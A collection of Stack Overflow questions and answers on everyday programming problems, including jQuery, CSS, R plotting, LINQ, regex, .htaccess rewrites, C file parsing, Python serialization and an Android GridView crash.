15109170	0	 <p>In addition to what @abarnert said, I today had to find out that the default <code>cpio</code> utility on Mountain Lion uses a different archive format per default (not sure which), even with the man page stating it would use the old cpio/odc format. So, if anyone stumbles upon the <code>cpio read error: bad file format</code> message while trying to install his/her manipulated packages, be sure to include the format in the re-pack step:</p> <pre><code>find ./Foo.app | cpio -o --format odc | gzip -c &gt; Payload </code></pre>
1902402	0	 <p>It's possible to set environment variables during the build to alter the path and still have it work in a local environment.</p> <ul> <li><a href="http://msdn.microsoft.com/en-us/library/ms184806.aspx" rel="nofollow noreferrer">How to: Parameterize the URL for a Web Performance Tests Web Server</a></li> <li><a href="http://msdn.microsoft.com/en-us/library/ms243136%28VS.80%29.aspx" rel="nofollow noreferrer">Testing Web Sites and Web Services in a Team Environment</a></li> </ul>
27545124	0	jQuery file upload plugin error <p>I am trying to implement the basic fileupload from blueimp file upload plugin:</p> <p><a href="http://blueimp.github.io/jQuery-File-Upload/basic.html" rel="nofollow">http://blueimp.github.io/jQuery-File-Upload/basic.html</a></p> <p>each time I run the code ,I select 3 files to upload I get this error: Unable to get property 'files' of undefined or null reference.</p> <p>Can anyone help me with this? Thanks</p> <pre><code>var url = 'FileUploadHandler.ashx?upload=start'; $('#fileupload').fileupload({ dataType: 'json', multipart:true, limitMultiFileUploads: 3, url: url, add: function (e, data) { $.each(data.result.files, function (index, file) { $('&lt;p/&gt;').text(file.name).appendTo('#files'); }); data.submit(); }, progressall: function (e, data) { var progress = parseInt(data.loaded / data.total * 100, 10); $('#progress .progress-bar').css( 'width', progress + '%' ); } }).prop('disabled', !$.support.fileInput) .parent().addClass($.support.fileInput ? undefined : 'disabled'); }); </code></pre>
14085986	0	 <p>There can be situations when you will need two different <code>lock</code>'s, which are independent of each other. Meaning when one 'lockable' part of code is locked other 'lockable' should not be locked. That's why there is ability to provide lock objects - you can have several of them for several independent <code>lock</code>'s </p>
10441567	0	JSP download from intranet <p>I need to read binary file from intranet http server and get it to download to public.</p> <p>SCHEMA</p> <p>intranet file server(Apache)=1 &lt;-->Public http server(Apache Tomcat)=2&lt;-->internet authorized user=3 </p> <p>howto release this without save to filesystem on server 2</p> <p>Thanks for answers i am new on java.</p> <p>Sorry for my English.</p>
6025464	0	Reset functions after ajax <p>I have this javascript file: <a href="http://pastebin.com/m2keHsTM" rel="nofollow">http://pastebin.com/m2keHsTM</a></p> <p>A big part of it is a toggle switch that works by sliding your finger or mouse on it. As you see at the end of the document </p> <pre><code>var togglebox = "&lt;div class='toggle_box'&gt;&lt;/div&gt;"; $('input[type=checkbox]').css('display','none'); $('fieldset[data-input-type=checkbox]').append(togglebox); var mouseDown = false; var beginTouchDown = 0; create_elements(); set_listeners(); </code></pre> <p>replaces the checkboxes on the page by div's that are "slideable" This works great, only when I load another page trough ajax, other new checkboxes do not get replaced. Is there a way to reset those functions and make them check again after an ajax call?</p> <p>Thanks a lot for your help :)</p>
36945788	0	Getting Google API Push Notifications for Resources/Rooms <p>I'm trying to get Google Calendar Push Notifications working for Resources (aka Rooms). They work perfectly for user calendars, but when I call/watch on a Resource, it successfully creates. I get the initial "Sync" call on the server, but then I never hear back from Google again.</p> <p>My approach to creating the watch is to authenticate an administrator, and use that Token to add the watch on the resource that the administrator had added as a calendar to his list, so it's showing up in the calendarList/list call. I've also turned on all notifications on the admin's account for that calendar.</p> <p>Any idea on what I might be doing wrong? </p>
19130036	0	Text reaching over the specified width of its DIV <p>EDIT: Another image to further showcase my issue:</p> <p><a href="http://imageshack.us/photo/my-images/405/cvtc.png/" rel="nofollow noreferrer">http://imageshack.us/photo/my-images/405/cvtc.png/</a></p> <p>I know this question has been asked but every solution I have tried has not worked, i.e.: word-wrap, text-wrap, overflow-wrap.</p> <p>I have text that I have measure to be 344px in width, and would like the rest of my texts to meet that boundary and/or not flow over it. I keep setting this specified width of 344 or even less and this last set of text especially is just causing issues. Here is a screen shot of the issue as well as my HTML and CSS. Any help is appreciated!</p> <p><img src="https://i.stack.imgur.com/amMc0.jpg" alt="http://imageshack.us/photo/my-images/706/1fj8.png/"></p> <p>HTML</p> <pre><code> &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;Jessica ___: PORTFOLIO&lt;/title&gt; &lt;link rel="stylesheet" type="text/css" href="style1.css"&gt; &lt;script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="jquery.lettering.js"&gt;&lt;/script&gt; &lt;link href='http://fonts.googleapis.com/css?family=Quicksand:300,400,700' rel='stylesheet' type='text/css'&gt; &lt;link href='http://fonts.googleapis.com/css?family=Playfair+Display:700italic' rel='stylesheet' type='text/css'&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="letter-container" class="letter-container"&gt; &lt;div id="heading"&gt;HELLO&lt;/div&gt; &lt;div id="aboutintro"&gt;My name is&lt;/div&gt; &lt;div id="name"&gt;jessica ___&lt;/div&gt; &lt;div id="aboutbody"&gt;and I'm a student at the College of Design, Architecture, Art, and Planning of the University of Cincinnati and I like to design websites and take pictures.&lt;/div&gt; &lt;/div&gt; &lt;script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="jquery.lettering.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(function() { $("#heading").lettering(); }); &lt;/script&gt; &lt;script type="text/javascript"&gt; $(function(){ $("#aboutintro").delay(4000).fadeIn(500); }); &lt;/script&gt; &lt;script type="text/javascript"&gt; $(function() { $("#name").lettering(); }); &lt;/script&gt; &lt;script type="text/javascript"&gt; $(function(){ $("#aboutbody").delay(6000).fadeIn(500); }); &lt;/script&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>CSS</p> <pre><code> @charset "UTF-8"; /* CSS Document */ html { background: url(grungebg.png) no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; margin:0; padding:0; } @font-face { font-family: 'league_gothicregular'; src: url('leaguegothic-regular-webfont.eot'); src: url('leaguegothic-regular-webfont.eot?#iefix') format('embedded-opentype'), url('leaguegothic-regular-webfont.woff') format('woff'), url('leaguegothic-regular-webfont.ttf') format('truetype'), url('leaguegothic-regular-webfont.svg#league_gothicregular') format('svg'); font-weight: normal; font-style: normal; } .letter-container { margin-left:auto; margin-right:auto; width:344px; text-align:center; } #heading { font-family: league_gothicregular, sans-serif; } #heading span { font-size: 200px; background-image: url(mask.png); -webkit-background-clip: text; background-clip: text; color: rgba(0,0,0,0); -webkit-text-fill-color: transparent; -webkit-transition: all 0.3s linear; -moz-transition: all 0.3s linear; -o-transition: all 0.3s linear; -ms-transition: all 0.3s linear; transition: all 0.3s linear; -webkit-animation: sharpen 0.6s linear backwards; -moz-animation: sharpen 0.6s linear backwards; -ms-animation: sharpen 0.6s linear backwards; animation: sharpen 0.6s linear backwards; } #heading span:nth-child(1) { -webkit-animation-delay: 2.2s; -moz-animation-delay: 2.2s; -ms-animation-delay: 2.2s; animation-delay: 2.2s; } #heading span:nth-child(2) { -webkit-animation-delay: 2.6s; -moz-animation-delay: 2.6s; -ms-animation-delay: 2.6s; animation-delay: 2.6s; } #heading span:nth-child(3) { -webkit-animation-delay: 2.9s; -moz-animation-delay: 2.9s; -ms-animation-delay: 2.9s; animation-delay: 2.9s; } #heading span:nth-child(4) { -webkit-animation-delay: 2.4s; -moz-animation-delay: 2.4s; -ms-animation-delay: 2.4s; animation-delay: 2.4s; } #heading span:nth-child(5) { -webkit-animation-delay: 3s; -moz-animation-delay: 3s; -ms-animation-delay: 3s; animation-delay: 3s; } #heading span:nth-child(6) { -webkit-animation-delay: 2.7s; -moz-animation-delay: 2.7s; -ms-animation-delay: 2.7s; animation-delay: 2.7s; } } @keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-moz-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-webkit-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-ms-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } #aboutintro { font-family: 'Quicksand', sans-serif; font-size:65px; font-weight:300; color:white; display:none; } #name{ font-family: 'Playfair Display', serif; font-size:65px; font-weight:700; font-style:italic; background-image: url(mask.png); -webkit-background-clip: text; background-clip: text; color: rgba(0,0,0,0); -webkit-text-fill-color: transparent; -webkit-transition: all 0.3s linear; -moz-transition: all 0.3s linear; -o-transition: all 0.3s linear; -ms-transition: all 0.3s linear; transition: all 0.3s linear; -webkit-animation: sharpen 0.6s linear backwards; -moz-animation: sharpen 0.6s linear backwards; -ms-animation: sharpen 0.6s linear backwards; animation: sharpen 0.6s linear backwards; -webkit-animation-delay: 5s; -moz-animation-delay: 5s; -ms-animation-delay: 5s; animation-delay: 5s; text-align:center; } } @keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-moz-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-webkit-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } @-ms-keyframes sharpen { 0% { opacity: 0; text-shadow: 0px 0px 100px #fff; color: transparent; } 90% { opacity: 0.9; text-shadow: 0px 0px 10px #fff; color: transparent; } 100% { color: #fff; opacity: 1; text-shadow: 0px 0px 2px #fff, 1px 1px 4px rgba(0,0,0,0.7); } } #aboutbody { font-family: 'Quicksand', sans-serif; font-size:12px; font-weight:400px; color:#e5e5e5; display:none; margin-left:auto; margin-right:auto; padding:0; margin:0; } </code></pre>
27032258	0	 <p>I don't think you can do it from the app level itself, since the push notifications that go to an app are controlled at the OS level (so push notifications for the app, but regardless of what for)</p> <p>However, you can setup tags (or something) on your server so then the app enables/disabled the server to send notifications for a specific topic.</p> <p>Does that make sense?</p>
18951440	0	 <p>You can covert the PPT file to HTML:</p> <pre><code>unoconv -o image/ -f html SinoProbe_02_02_001.ppt </code></pre> <p>Then the image folder will fill with HTML and JPG files.</p>
1976841	0	 <p>Cookies are sent via the user-agent every time a page is requested. The user-agent doesn't need to be a browser. It could be a small shell script. Even if it is a browser, there's an "edit cookie" extension for Firefox.</p>
22849321	0	 <p>Something like this?</p> <p><img src="https://i.stack.imgur.com/IXpfY.png" alt=""></p> <pre><code># generate more illustrative dataset: you have this already set.seed(1) x &lt;- 1:1000 y &lt;- as.POSIXct("06/01/2013",format="%m/%d/%Y")+sample(0:(210*24*60)*60,1000) y &lt;- strftime(y,format="%m/%d/%Y %H:%M") data &lt;- data.frame(ID=x,Starttime=y) # you start here... library(lubridate) # for wday(...) library(ggplot2) library(RColorBrewer) # for brewer.pal(...) data$date &lt;- as.POSIXct(data$Starttime, format="%m/%d/%Y %H:%M") data$dow &lt;- wday(data$date) data$cdow &lt;- wday(data$date,label=T) data$tod &lt;- as.numeric(data$date - as.POSIXct(strftime(data$date,format="%Y-%m-%d")))/60 data$bins &lt;- cut(data$tod,breaks=1:24,labels=F) counts &lt;- aggregate(ID~bins+dow,data,length) colnames(counts)[ncol(counts)] &lt;- "Events" ggplot(counts, aes(x=bins,y=8-dow))+ geom_tile(aes(fill=Events))+ scale_fill_gradientn(colours=brewer.pal(9,"YlOrRd"), breaks=seq(0,max(counts$Events),by=2))+ scale_y_continuous(breaks=7:1,labels=c("Sun","Mon","Tues","Wed","Thurs","Fri","Sat"))+ labs(x="Time of Day (hours)", y="Day of Week")+ coord_fixed() </code></pre>
21473935	0	 <p>You can do some thing like the following. </p> <ol> <li><p>Use Parameterized Plugin and pass SVN revision to the down stream project.</p></li> <li><p>In the down stream project, no need to select svn as the source code management tool. Instead, add a first build set up to update your working directory to the revision which is passed from upstream project.</p></li> </ol> <p><code>cd $workspace</code></p> <p><code>svn update -r$pameter</code></p> <p>I have done like this for one of our projects and it is working fine.</p> <p>If you are using clean build, instead of <code>svn update</code> you can use checkout also the same way.</p> <p><code>svn checkout url://repository/path@$parameter</code></p> <p>or</p> <p><code>svn checkout -r $parameter url://repository/path</code></p>
7126722	0	For purpose of EF linq query, is First(c=>cond) equiv to Where(c=>cond).First()? <p>Is there any hidden subtlety, is one perferred, or is one just a shorter way to write the other?</p> <pre><code>Client = db.Clients.First(c=&gt;c.Name == "Client 1") </code></pre> <p>and</p> <pre><code>Client = db.Clients.Where(c=&gt;c.Name == "Client 1").First() </code></pre>
36534366	0	 <p>Consider wanting to match the word "march":</p> <pre><code>&gt;&gt;&gt; regex = re.compile(r'\bmarch\b') </code></pre> <p>It can come at the end of the sentence...</p> <pre><code>&gt;&gt;&gt; regex.search('I love march') &lt;_sre.SRE_Match object at 0x10568e4a8&gt; </code></pre> <p>Or the beginning ...</p> <pre><code>&gt;&gt;&gt; regex.search('march is a great month') &lt;_sre.SRE_Match object at 0x10568e440&gt; </code></pre> <p>But if I don't want to match things like <code>marching</code>, word boundaries are the most convenient:</p> <pre><code>&gt;&gt;&gt; regex.search('my favorite pass-time is marching') &gt;&gt;&gt; </code></pre> <p>You might be thinking "But I can get all of these things using <code>r'\s+march\s+'</code>" and you're kind of right... The difference is in what matches. With the <code>\s+</code>, you also might be including some whitespace in the match (since that's what <code>\s+</code> means). This can make certain things like search for a word and replace it more difficult because you might have to manage keeping the whitespace consistent with what it was before.</p>
6608215	0	How to get values from query string and pass it to new page using .htaccess file <p>currently I m using following code in my site in .htaccess file :</p> <pre><code>RewriteRule ^([^/\.]+).php?$ comman.php?cat=$1 [L] </code></pre> <p>This redirects user to comman.php page say, user requests</p> <p><a href="http://www.mysite.com/myfolder/page1.php" rel="nofollow">http://www.mysite.com/myfolder/page1.php</a></p> <p>will redirects to </p> <p><a href="http://www.mysite.com/myfolder/comman.php?cat=page1" rel="nofollow">http://www.mysite.com/myfolder/comman.php?cat=page1</a></p> <p>This works fine. My question is how can I achieve following</p> <p><a href="http://www.mysite.com/myfolder/page1.php?var1=123" rel="nofollow">http://www.mysite.com/myfolder/page1.php?var1=123</a></p> <p>to redirect</p> <p><a href="http://www.mysite.com/myfolder/comman.php?cat=page1&amp;param=123" rel="nofollow">http://www.mysite.com/myfolder/comman.php?cat=page1&amp;param=123</a></p> <p>i.e. whatever value passed to url using get method to add in my new url.</p> <p>Thanks in Advance.....</p>
22937691	0	Generate Word (docx) Files with from Templates (dotx) on Server Application <p>I'm currently working on a project where I have to transfer an existing VB program into a Server Application using ASP.NET. While I had success doing that there's one thing that I'm struggeling with:</p> <p>The VB Program was using Microsoft Word Interop to generate Excel files and fill Word Templates with data. While i managed to be able to generate the files locally with Interop I can't get it to work for somebody that is accessing the Application from a client.</p> <p>I also tried using OpenXML to solve my problem but somehow it always said that the file is corrupt after I tried to fill the bookmarks.</p> <p>In the end the user shoud be able to download the Word document filled with the necessary data.</p> <p>What would be the best solution for this problem?</p>
15069802	0	 <p>Is working fine for me, please check the following code:</p> <p>$('input').bind('click mouseup mousedown', function(event) { // some code for a click event</p> <pre><code>if (event.type == 'mousedown'){ console.log('mousedown'); $(this).addClass('active'); } if (event.type == 'mouseup'){ console.log('mouseup'); $(this).removeClass('active'); } //console.log(event.type); </code></pre> <p>}); <a href="http://jsfiddle.net/rpfHw/3/" rel="nofollow">http://jsfiddle.net/rpfHw/3/</a></p> <p>Best</p>
33727457	0	What time format is this: 38793.20139 <p>This data is from scientific tracking data. What is this date format:</p> <p>38793.20139</p> <p>I have looked through all of the stackoverflow datetime format entries I could find.</p>
34701508	0	 <p>You have the fade backwards </p> <pre><code> $(".btn--alt").hover( function () { $("#please").fadeOut(); }, function () { $("#please").fadeIn(); } ); </code></pre> <p>See this example:</p> <p><a href="https://jsfiddle.net/pm7dqk5r/" rel="nofollow">fiddle</a></p>
26070327	0	 <p>Here's an easy way to do it, using the fact that on the lines in question, if your file follows the same format then the numbers will always appear in the same character of the line. This is a little bit fragile, and it'd be better to make your program more robust, to cope with arbitrary amounts of whitespace, for instance, but I'll leave that as an exercise to you:</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #define MAX_LEN 100 #define BUY_LEN 9 #define AWARD_LEN 11 int main(void) { FILE * infile = fopen("file.dat", "r"); if ( !infile ) { perror("couldn't open file"); return EXIT_FAILURE; } char buffer[MAX_LEN]; char * endptr; while ( fgets(buffer, MAX_LEN, infile) ) { if ( !strncmp(buffer, "BUY ITEM ", BUY_LEN ) ) { char * num_start = buffer + BUY_LEN; long item = strtol(num_start, &amp;endptr, 0); if ( endptr == num_start ) { fprintf(stderr, "Badly formed input line: %s\n", buffer); return EXIT_FAILURE; } printf("Bought item %ld\n", item); } else if ( !strncmp(buffer, "AWARD ITEM ", AWARD_LEN) ) { char * num_start = buffer + AWARD_LEN; long item = strtol(num_start, &amp;endptr, 0); if ( endptr == num_start ) { fprintf(stderr, "Badly formed input line: %s\n", buffer); return EXIT_FAILURE; } printf("Awarded item %ld\n", item); } } fclose(infile); return 0; } </code></pre> <p>Running this with the sample data file in your question, you get:</p> <pre><code>paul@local:~/src/sandbox$ ./extr Bought item 8 Bought item 10 Awarded item 7 Bought item 1 Bought item 3 Awarded item 9 Bought item 7 paul@local:~/src/sandbox$ </code></pre> <p>Incidentally, based on one of the suggestions in your question, you might want to check out the answers to the question <a href="http://stackoverflow.com/questions/5431941/while-feof-file-is-always-wrong">"<code>while( !feof( file ) )</code>" is always wrong</a>.</p>
25633238	0	Design Pattern to output separate different files from same input parameter <p>I have this Food class with 20 properties. I need to use this Food class and output 3 different files, using variations of these 20 fields. For example, File 1 contains output only 8 fields. File 2 contains 15 fields. File 3 contains 18 fields.</p> <p>So right now, I have these 3 separate methods.</p> <pre><code> FoodService() { void WriteRecommendedFood(IList&lt;Food&gt; foodList); void WriteRecommendedFoodCalculation(IList&lt;Food&gt; foodList); void WriteRecommendedFoodAllEligibleFoods(IList&lt;Food&gt; foodList); } </code></pre> <p>So I'd write:</p> <pre><code> public void WriteRecommendedFood(IList&lt;Food&gt; foodList) { using (StreamWriter sw = new StreamWriter("file.csv", false) { StringBuilder sb = new StringBuilder(); foreach (Food f in foodList) { sb.Append(f.Field1); //Repeat for the # of fields I want to spit out sb.Clear(); sw.WriteLIne(sb.ToString()); } sw.Close(); } } </code></pre> <p>I feel like I'm writing the same code three times (with slight variations). I started to read up on different design patterns like Visitor and Strategy pattern, but I'm not sure which design pattern to improve my code. (Note: I only need to output it to a comma delimited file at this time. Also, from the UI side, the user gets to select which one they want to output (either one to all 3 files.) Any suggestions?</p>
15190532	0	 <p>If you want to use pickle you can use the <code>loads</code> and <code>dumps</code> functions.</p> <pre><code>import pickle a_dict = { x:str(x) for x in range(5) } serialized_dict = pickle.dumps(a_dict) # Send it through the socket and on the receiving end: a_dict = pickle.loads(the_received_string) </code></pre> <p>You can also use JSON in a similar fashion. I like JSON because it is human readable and isn't python specific.</p> <pre><code>import json a_dict = { x:str(x) for x in range(5) } serialized_dict = json.dumps(a_dict) # Send it through the socket and on the receiving end: a_dict = json.loads(the_received_string) </code></pre>
4249424	0	Updating rows in DataTable - why isn't this working? <p>I'm trying to update fields in a DataTable. The field I'm trying to edit is a date, I need to format it.</p> <pre><code>foreach (DataRow row in dt.Rows) { string originalRow = row["Departure Date"].ToString(); //displays "01/01/2010 12:00:00 AM" row["Departure Date"] = DateTime.Parse(row["Departure Date"].ToString()).ToString("MM/dd/yyyy"); string newRow = row["Departure Date"].ToString(); //also displays "01/01/2010 12:00:00 AM" } </code></pre> <p>How come this isn't getting updated?</p>
15781823	0	 <p>Correction, you're missing the <code>#</code>, and you're missing the <code>/</code> in <code>&lt;/li&gt;</code></p> <pre><code>for(var i=0; i&lt;test.length; i++) { $("#xyz" + i).html('&lt;li&gt;' + test[i] +'&lt;/li&gt;'); } </code></pre>
31624081	0	 <p>If you are using the new support library for 5.1 in android studio, you can instead use this on your AppCompatActivity</p> <pre><code> ActionBar actionBar = getSupportActionBar(); actionBar.setHomeButtonEnabled(true); actionBar.setDisplayHomeAsUpEnabled(true); actionBar.setHomeAsUpIndicator(R.mipmap.ic_arrow_back_white_24dp); actionBar.setDisplayShowHomeEnabled(true); </code></pre> <p>cheers.</p>
10515441	0	 <p>Add a check if there's already a video playing, if yes remove it.</p> <pre><code>$(function(){ $('.toggle').click(function(e) { e.preventDefault(); var content = '&lt;video id="my_video"&gt;&lt;source src="animation.mp4" type="video/mp4"/&gt; &lt;/video&gt;', search = $('video#my_video').length; if(search &gt; 0) { $('video#my_video').remove(); } else { $('#videowrapper').append(content); _V_('my_video', {'controls': true}); } }); }); </code></pre> <p>Something like this should suffice.</p> <p>Thanks for downvoting me, I accidentally pressed tab to make spaces, which took my focus to the post-button, and then I pressed enter cause i wanted a new line, and it posted my post before I was done :P</p>
22402516	0	Update and remove GridView items at runtime <p>i am developing a project where i compare the images of two items,So if two items will have same image after clicking these items should be hide. my code is given below and this code encounter a problem. is this a logical error or any other issue? i try to solve the issue but did't resolve.. Please guide me... here is my main Activity.<br> MainActivity.java </p> <pre><code>public class MainActivity extends Activity { Context ctx; int imagesArray[]; ImageAdapter adapter; List&lt;Integer&gt; pictures; boolean flage = false; GridView gridView; int save1, save2; int img1 = -1, img2 = -1; public int OriginalArray[] = { R.drawable.sample_0, R.drawable.sample_1, R.drawable.sample_2, R.drawable.sample_3, R.drawable.sample_0, R.drawable.sample_1, R.drawable.sample_2, R.drawable.sample_3 }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); final ImageView myimage = new ImageView(ctx); gridView = (GridView) findViewById(R.id.gv_memory); gridView.setAdapter(adapter); shuffleArray(); gridView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; arg0, View arg1, int position, long arg3) { // TODO Auto-generated method stub myimage.setImageResource(pictures.get(position)); if (flage == false) { img1 = pictures.get(position); flage = true; } else if (flage == true) { img2 = pictures.get(position); checkResult(); flage = false; } } private void checkResult() { // TODO Auto-generated method stub if (img1 == img2) { adapter.pictureList.remove(img1); adapter.pictureList.remove(img2); adapter.notifyDataSetChanged(); Toast.makeText(MainActivity.this, "Congratualatin !!!!", Toast.LENGTH_LONG).show(); } else { Toast.makeText(MainActivity.this, "Sorry!!!!", Toast.LENGTH_LONG).show(); } } }); } private void shuffleArray() { // TODO Auto-generated method stub pictures = new ArrayList&lt;Integer&gt;(); for (int index = 0; index &lt; OriginalArray.length; index++) { pictures.add(OriginalArray[index]); } Collections.shuffle(pictures); } } </code></pre> <p>ImageAdapter.java </p> <pre><code>public class ImageAdapter extends BaseAdapter { private Context context; List&lt;Integer&gt; pictureList = new ArrayList&lt;Integer&gt;(); public ImageAdapter(Context c) { context = c; for (int i = 0; i &lt; 8; i++) { pictureList.add(R.drawable.question); } } @Override public int getCount() { // TODO Auto-generated method stub return (pictureList.size()); } @Override public Object getItem(int position) { // TODO Auto-generated method stub return pictureList.get(position); } @Override public long getItemId(int position) { // TODO Auto-generated method stub return position; } @Override public View getView(int position, View convertView, ViewGroup parent) { // TODO Auto-generated method stub ImageView myimage = new ImageView(context); myimage.setImageResource(pictureList.get(position)); myimage.setScaleType(ImageView.ScaleType.CENTER_INSIDE); myimage.setLayoutParams(new GridView.LayoutParams(70, 70)); return myimage; } } </code></pre> <p>LogCat. </p> <pre><code>03-14 06:09:03.793: D/dalvikvm(2877): GC_FOR_ALLOC freed 54K, 8% free 2771K/2996K, paused 111ms, total 117ms 03-14 06:09:03.802: I/dalvikvm-heap(2877): Grow heap (frag case) to 3.943MB for 1127536-byte allocation 03-14 06:09:03.922: D/dalvikvm(2877): GC_FOR_ALLOC freed 2K, 6% free 3870K/4100K, paused 118ms, total 118ms 03-14 06:09:03.962: D/AndroidRuntime(2877): Shutting down VM 03-14 06:09:03.962: W/dalvikvm(2877): threadid=1: thread exiting with uncaught exception (group=0x41465700) 03-14 06:09:03.972: E/AndroidRuntime(2877): FATAL EXCEPTION: main 03-14 06:09:03.972: E/AndroidRuntime(2877): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.memory/com.example.memory.MainActivity}: java.lang.NullPointerException 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2211) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2261) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread.access$600(ActivityThread.java:141) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1256) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.os.Handler.dispatchMessage(Handler.java:99) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.os.Looper.loop(Looper.java:137) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread.main(ActivityThread.java:5103) 03-14 06:09:03.972: E/AndroidRuntime(2877): at java.lang.reflect.Method.invokeNative(Native Method) 03-14 06:09:03.972: E/AndroidRuntime(2877): at java.lang.reflect.Method.invoke(Method.java:525) 03-14 06:09:03.972: E/AndroidRuntime(2877): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:737) 03-14 06:09:03.972: E/AndroidRuntime(2877): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 03-14 06:09:03.972: E/AndroidRuntime(2877): at dalvik.system.NativeStart.main(Native Method) 03-14 06:09:03.972: E/AndroidRuntime(2877): Caused by: java.lang.NullPointerException 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.view.ViewConfiguration.get(ViewConfiguration.java:318) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.view.View.&lt;init&gt;(View.java:3264) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.widget.ImageView.&lt;init&gt;(ImageView.java:112) 03-14 06:09:03.972: E/AndroidRuntime(2877): at com.example.memory.MainActivity.onCreate(MainActivity.java:33) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.Activity.performCreate(Activity.java:5133) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1087) 03-14 06:09:03.972: E/AndroidRuntime(2877): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2175) 03-14 06:09:03.972: E/AndroidRuntime(2877): ... 11 more 03-14 06:14:04.503: I/Process(2877): Sending signal. PID: 2877 SIG: 9 </code></pre>
36602276	0	 <p>I have found more flexible solution. I have created xlsx file which will be updated once per week with exactly measured cities. My script will read that xlsx file and pull cities from that. On that way I am avoiding empty printed pdf pages. Thanks all!</p>
15485066	0	Condensing repetitive if statements <p>I have the following code, which scans a directory and puts files containing "a" within its filename to a new folder A. Similarly, it puts files with "b" within its filename to a new folder called B. Since the if statements are basically the same, with the only thing that changes being the letter "a" or "b" and being sent to either destA or destb (desitinations), how can I trim this code down? I know there is a better way because much of the code is repeated... Thanks.</p> <pre><code>static void Main() { string path = @"C:\Users\me\Desktop\FOLDER"; string destA = @"C:\Users\me\Desktop\FOLDER\A"; string destB = @"C:\Users\me\Desktop\FOLDER\B"; DirectoryInfo dir = new DirectoryInfo(path); FileInfo[] filesxx = dir.GetFiles(); foreach (FileInfo filexx in filesxx) { if (filexx.Name.Contains("a")) { if (!Directory.Exists(destA)) Directory.CreateDirectory(destA); Console.WriteLine(filexx); filexx.CopyTo(Path.Combine(destA, filexx.Name), true); } else if (filexx.Name.Contains("b")) { if (!Directory.Exists(destB)) Directory.CreateDirectory(destB); Console.WriteLine(filexx); filexx.CopyTo(Path.Combine(destB, filexx.Name), true); } else { Console.WriteLine("Other: ", filexx); } } Console.Read(); } </code></pre>
31011211	0	 <p>It's crashing because you have not initialized Sport *one; and you're attempting to call methods on a null pointer. You need to first create a Running object within the Activity constructor using the "new" operator like so:</p> <pre><code>one = new Running(n, time); </code></pre> <p>Create an overloaded constructor in your "Running" class that takes the appropriate arguments as well, so that you can initialize your variable as shown above.</p>
